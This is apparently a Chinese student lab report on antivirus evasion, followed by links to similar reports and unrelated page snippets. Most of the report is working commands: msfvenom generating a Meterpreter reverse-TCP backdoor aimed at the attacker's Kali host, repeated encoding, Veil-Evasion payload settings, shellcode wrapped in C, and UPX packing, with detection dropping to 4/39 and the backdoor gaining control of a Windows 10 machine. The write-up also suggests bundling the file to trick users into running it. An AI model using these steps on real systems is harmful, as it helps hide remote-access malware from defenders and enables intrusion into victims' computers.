实践内容

基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 杀毒软件主要靠特征码进行查杀,匹配到即为病毒。
  • 还有通过云查杀,查看云端库中该文件是否属于恶意代码。
  • 跟踪该程序运行起来是否存在恶意行为,来判断是否属于恶意代码。

(2)免杀是做什么?

  • 免杀就是让杀毒软件查杀不出来有问题的程序,大部分是用来做坏事的。

(3)免杀的基本方法有哪些?

  • 通过改变特征码来躲避杀毒软件的匹配。
  • 自己手动编写一个恶意代码,因为杀毒软件查的共性,而不是个性。
  • 改变行为,减少敏感行为的使用等。

实践总结与体会

  • 这次的实验让我们可以绕过恶意代码的最大天敌——杀毒软件,之前我们所编写的恶意代码就像一个通缉犯,被所有警察所知悉,而同感免杀之后的恶意代码就像是去了泰国变性韩国整容一般,可以瞒天过海,继续潇洒。

离实战还缺些什么技术或步骤?

  • 我们的靶机不会那么傻乎乎的去接收我们的文件,那么我们就可以利用捆绑等方式诱导用户去接收并运行我们的恶意代码。

实践过程

环境准备

  • win10的IP地址:172.30.6.204
  • kali的IP地址:172.30.1.193
  • 这里使用上次实验中用到的后门程序进行免杀实验
  • 上期实验博客
  • 本次实验需要用到Veil-Evasion,安装指令:sudo apt-get install veil-evasion
  • 没有安装成功的小伙伴,可以尝试 克隆安装,依次输入:
sudo apt-get -y install git //安装git
git clone https://github.com/Veil-Framework/Veil-Evasion.git //git命令行下载Veil Evasion
mv Veil-Evasion /opt //把它移动到opt目录下(可选)
cd /opt/Veil-Evasion/ //进入Veil Evasion所在目录 bash setup/setup.sh -s //启动setup脚本开始安装

msfvenom

  • kali端下使用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f exe > 4327.exe命令生成后门程序(即上次实验所用到的后门程序)。

  • 上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

    • 小提示:这里文件名为20154327形式的无法上传,网站提示含有广告关键词。

  • 从图中可以看出有18/39的杀毒软件发现有病毒.

    *这里我们直接利用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=172.30.1.193 LPORT=4327 -f exe > 4327miansha.exe将文件编码10次

  • 再去检测一下:

  • 结果还是有18/39的杀毒软件发现有病毒,看来一味的利用编码次数来达到免杀还是不行的。

Veil-Evasion

  • 这里需要用到veil-evasion,没有的小伙伴可以参考环境准备里的步骤。
  • 在kali中输入指令veil-evasion打开软件,依次输入
use python/meterpreter/rev_tcp  //设置payload
set LHOST 172.30.1.193 //设置为kali的IP
set lport 4327 //设置端口为4327
generate //生成
4327yzh //程序名
1
  • 如图所示:

  • 然后在kali上的/var/lib/veil-evasion/output/compiled/文件夹里找到刚生成的,上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

  • 从图中可以看出有9/39的杀毒软件发现有病毒,比刚刚18个报毒直接减少一半,可喜可贺,但还不够,下面我们继续。

使用C语言调用Shellcode

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.193 LPORT=4327 -f c ,这里使用kali的ip生成一个c语言格式的shellcode数组。

  • 利用自己的数组,再添加一个主函数。

  • 在win下使用vs编译该c语言,得到exe文件,上传至http://www.virscan.org/来检测下有多少查毒软件可以将其查杀出来。

  • 8/39的杀毒软件发现有病毒,大部分都没有查杀出来了,效果还是挺不错的。

  • 在kali下进入MSF打开监听进程,实现方法参考上期实验博客

  • 靶机上尝试运行,后门程序成功获取权限。

    • 靶机环境:win10家庭版,火绒20180405

加壳尝试

upx直接加壳

  • 利用upx对上节课生成的后门文件直接加壳。



  • 直接对msf生成的文件使用upx加壳,还是有14/39的杀毒软件发现有病毒,比刚刚18查出略有改善,下面试试利用Veil-Evasio+UPX加壳。

Veil-Evasio+UPX加壳

  • 将上面通过Veil-Evasio免杀过的文件加上upx壳尝试。

  • 4/39的杀毒软件发现有病毒,大部分都没有查杀出来了,效果还是挺不错的。

20154327 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. C++使用BOOST操作文件、目录

    开始使用 在BOOST库出现之前,C++对于文件和目录的操作,大都借助于UNIX提供的底层文件和目录接口,从使用角度来看,这些底层的操作不够友好.BOOST中filesystem库是一种可移植的文件系 ...

  2. Hibernate缓存策略

    Hibernate的一级缓存又称为Session缓存,其适用范围是在当前的会话之中,其生命周期和Session相同,随着Session的销毁,一级缓存也会随之销毁.一级缓存是不能取消的,Hiberna ...

  3. Docker Toolbox在window 10 home 下挂载宿主机目录到容器的正确操作

    由于我是window 10 home 而不是 pro版本,只能使用Docker Toolbox,其实docker for window对windows的支持更好,还有GUI,home版本安装Docke ...

  4. Disruptor

    高性能队列Disruptor系列2--浅析Disruptor   目录 1. Disruptor简单介绍2. 为什么Disruptor如此之快3. Disruptor结构分析 1. Disruptor ...

  5. 为什么说 Java 程序员必须掌握 Spring Boot ?

    原作者https://www.cnblogs.com/ityouknow/p/9175980.html Spring Boot 2.0 的推出又激起了一阵学习 Spring Boot 热,就单从我个人 ...

  6. Jmeter-常用函数之__CSVRead使用

    可参照:http://www.cnblogs.com/liu-ke/p/4324157.html 压测中有些参数是固定范围内的取值,或者成对出现(如登录帐号和密码),以大量用户同时登录网站为例: 1. ...

  7. HDU 2897 邂逅明下 ( bash 博弈变形

    HDU 2897 邂逅明下 ( bash 博弈变形 题目大意 有三个数字n,p,q,表示一堆硬币一共有n枚,从这个硬币堆里取硬币,一次最少取p枚,最多q枚,如果剩下少于p枚就要一次取完.两人轮流取,直 ...

  8. Vue教程:计算属性computed与侦听器watch(三)

    计算属性computed 模板内的表达式非常便利,但是设计它们的初衷是用于简单运算的.在模板中放入太多的逻辑会让模板过重且难以维护.例如: <div id="example" ...

  9. oracle 的replace()

    1.查询所有员工的姓名,如果包含字母s,则用S替换. 2.查询所有员工姓名的前三个字符.

  10. ORACLE学习之三

    DDL 数据定义语言 CREATE ALTER DROP DML 数据操作语言 INSERT UPDATE DELETE DQL 数据查询语言 SELECT TCL 事务控制语言 COMMIT ROL ...